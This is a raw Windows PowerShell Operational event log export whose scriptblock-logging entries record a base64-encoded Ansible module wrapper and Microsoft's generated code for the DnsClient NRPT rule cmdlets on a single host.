Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1971 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4980 | 4192 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:11 AM | dfeadd90-ee34-0001-112b-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
CR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRWYWxpZGF0ZVNldEVycm9yTWVzc2FnZQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHZhbHVlID0gJG9iai4kbmFtZQogICAgICAgIH0KICAgIH0gY2F0Y2ggewogICAgICAgIGlmICgkZmFpbGlmZW1wdHkgLWVxICRmYWxzZSkgewogICAgICAgICAgICAkdmFsdWUgPSAkZGVmYXVsdAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgtbm90ICRlbXB0eWF0dHJpYnV0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AgICAgICAgICAgICAgICAkcGF0aF9pbnZhbGlkID0gJHRydWUKICAgICAgICAgICAgICAgICMgY291bGQgc3RpbGwgYmUgYSB2YWxpZC1zaGFwZWQgcGF0aCB3aXRoIGEgbm9uZXhpc3RlbnQgZHJpdmUgbGV0dGVyCiAgICAgICAgICAgICAgICBpZiAoJHZhbHVlIC1tYXRjaCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50XSkgewogICAgICAgICAgICAgICAgJHZhbHVlID0gQCgkdmFsdWUpCiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICJHZXQtQW5zaWJsZVB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B0byBiZSBhY2Nlc3NpYmxlOyAiREMgdW5hdmFpbGFibGUiIGlzIGluZGlzdGluZ3Vpc2hhYmxlIGZyb20gIm5vdCBqb2luZWQgdG8gdGhlIGRvbWFpbiIuLi4KICAgIFRyeSB7CiAgICAgICAgV3JpdGUtRGVidWdMb2cgImNhbGxpbmcgR2V0Q29tcHV0ZXJEb21haW4oKSIKICAgICAgICAkY3VycmVudF9kbnNfZG9tYWluID0gW1N5c3RlbS5EaXJlY3RvcnlTZXJ2aWNlcy5BY3RpdmVEaXJlY3RvcnkuRG9tYWluXTo6R2V0Q29tcHV0ZXJEb21haW4oKS5OYW1lCgogICAgICAgICRkb21haW5fbWF0Y2ggPSAkY3VycmVudF9kbnNfZG9tYWluIC1lcSAkZG5zX2RvbWFpbl9uYW1lCgogICAgICAgIFdyaXRlLURlYnVnTG9nICgiY3VycmVudCBkb21haW4gezB9IG1hdGNoZXMgezF9OiB7Mn0iIC1mICRjdXJyZW50X2Ruc19kb21haW4sI
ScriptBlock ID: 6b958e65-e285-41f5-9933-d933394fe38a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1970 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4980 | 4192 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:11 AM | dfeadd90-ee34-0001-112b-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8IE91dC1OdWxsCgogICAgIyByZWRlZmluZSBXcml0ZS1Ib3N0IHRvIGR1bXAgdG8gb3V0cHV0IGluc3RlYWQgb2YgZmFpbGluZy0gbG90cyBvZiBzY3JpcHRzIHVzZSBpdAogICAgJHBzLkFkZFN0YXRlbWVudCgpLkFkZFNjcmlwdCgiRnVuY3Rpb24gV3JpdGUtSG9zdChgJG1zZyl7IFdyaXRlLU91dHB1dCBgJG1zZyB9IikgfCBPdXQtTnVsbAoKICAgIEZvckVhY2ggKCRlbnZfa3YgaW4gJHBheWxvYWQuZW52aXJvbm1lbnQuR2V0RW51bWVyYXRvcigpKSB7CiAgICAgICAgIyBuZWVkIHRvIGVzY2FwZSAn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nNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.Legacy": "IyBDb3B5cmlnaHQgKGMpLCBNaWNoYWVsIERlSGFhbiA8bWljaGFlbC5kZWhhYW5AZ21haWwuY29tPiwgMjAxNCwgYW5kIG90aGVycwojIFNpbXBsaWZpZWQgQlNEIExpY2Vuc2UgKHNlZSBsaWNlbnNlcy9zaW1wbGlmaWVkX2JzZC50eHQgb3IgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9CU0QtMi1DbGF1c2UpCgpTZXQtU3RyaWN0TW9kZSAtVmVyc2lvbiAyLjAKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKRnVuY3Rpb24gU2V0LUF0dHIoJG9iaiwgJG5hbWUsICR2YWx1ZSkKewo8IwogICAgLlNZTk9QU0lTCiAgICBIZWxwZXIgZnVuY3Rpb24gdG8gc2V0IGFuICJhdHRyaWJ1dGUiIG9uIGEgcHNvYmplY3QgaW5zdGFuY2UgaW4gUG93ZXJTaGVsbC4KICAgIFRoaXMgaXMgYSBjb252ZW5pZW5jZSB0byBtYWtlIGFkZGluZyBNZW1iZXJzIHRvIHRoZSBvYmplY3QgZWFzaWVyIGFuZAogICAgc2xpZ2h0bHkgbW9yZSBweXRob25pYwogICAgLkVYQU1QT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lZCBNZW1iZXIgJG5hbWUgb3IgYWxpYXNlcyBleGlzdCBpbiAkb2JqIGFuZCByZXR1cm4gaXQgb3IgdGhlIGRlZmF1bHQuCiAgICB0cnkgewoKICAgICAgICAkZm91bmQgPSAkbnVsbAogICAgICAgICMgRmlyc3QgdHJ5IHRvIGZpbmQgcHJlZmVycmVkIHBhcmFtZXRlciAkbmFtZQogICAgICAgICRhbGlhc2VzID0gQCgkbmFtZSkgKyAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgI
ScriptBlock ID: 6b958e65-e285-41f5-9933-d933394fe38a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1969 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4980 | 4192 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:11 AM | dfeadd90-ee34-0001-112b-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1968 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4980 | 5096 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:11 AM | dfeadd90-ee34-0005-04f4-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4980 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1967 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4980 | 1928 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:11 AM | dfeadd90-ee34-0005-04f4-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1966 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4980 | 5096 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:11 AM | dfeadd90-ee34-0005-04f4-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
$__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NameServers')) {
[object]$__cmdletization_value = ${NameServers}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NameServers'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NameServers'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Namespace')) {
[object]$__cmdletization_value = ${Namespace}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Namespace'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Namespace'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Server')) {
[object]$__cmdletization_value = ${Server}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DisplayName')) {
[object]$__cmdletization_value = ${DisplayName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DisplayName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DisplayName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameter.ParameterTypeName = 'Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptRule'
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.Int32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Set', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP PS_DnsClientNRPTRule_v1.0.0.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-DnsClientNrptRule' -Alias '*'
ScriptBlock ID: f0f2698f-290b-4123-a005-bbee261dfcee
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1965 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:10 AM | dfeadd90-ee34-0002-defe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Remove', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP PS_DnsClientNRPTRule_v1.0.0.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Remove-DnsClientNrptRule' -Alias '*'
function Set-DnsClientNrptRule
{
[CmdletBinding(SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])][OutputType('Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptRule')]
param(
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessEnabled')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${DAEnable},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessQueryIPSSECEncryption')]
[AllowEmptyString()]
[AllowNull()]
[ValidateSet('','None','Low','Medium','High')]
[string]
${DAIPsecEncryptionType},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessQueryIPsecRequired')]
[System.Nullable[bool]]
${DAIPsecRequired},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessDNSServers')]
[string[]]
${DANameServers},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessProxyName')]
[string]
${DAProxyServerName},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessProxyType')]
[AllowEmptyString()]
[AllowNull()]
[ValidateSet('','NoProxy','UseDefault','UseProxyName')]
[string]
${DAProxyType},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[string]
${Comment},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('DnsSecEnabled')]
[bool]
${DnsSecEnable},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('DnsSecQueryIPsecEncryption')]
[AllowEmptyString()]
[AllowNull()]
[ValidateSet('','None','Low','Medium','High')]
[string]
${DnsSecIPsecEncryptionType},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('DnsSecQueryIPsecRequired')]
[System.Nullable[bool]]
${DnsSecIPsecRequired},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[System.Nullable[bool]]
${DnsSecValidationRequired},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[string]
${GpoName},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('IPsecCARestriction')]
[string]
${IPsecTrustAuthority},
[Parameter(ParameterSetName='Set3', Mandatory=$true, Position=1, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${Name},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[ValidateSet('Disable','Utf8WithMapping','Utf8WithoutMapping','Punycode')]
[string]
${NameEncoding},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[string[]]
${NameServers},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string[]]
${Namespace},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${Server},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[string]
${DisplayName},
[Parameter(ParameterSetName='Set3')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${PassThru},
[Parameter(ParameterSetName='Set3')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Set3')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Set3')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DAEnable')) {
[object]$__cmdletization_value = ${DAEnable}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAEnable'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAEnable'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DAIPsecEncryptionType')) {
[object]$__cmdletization_value = ${DAIPsecEncryptionType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAIPsecEncryptionType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAIPsecEncryptionType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DAIPsecRequired')) {
[object]$__cmdletization_value = ${DAIPsecRequired}
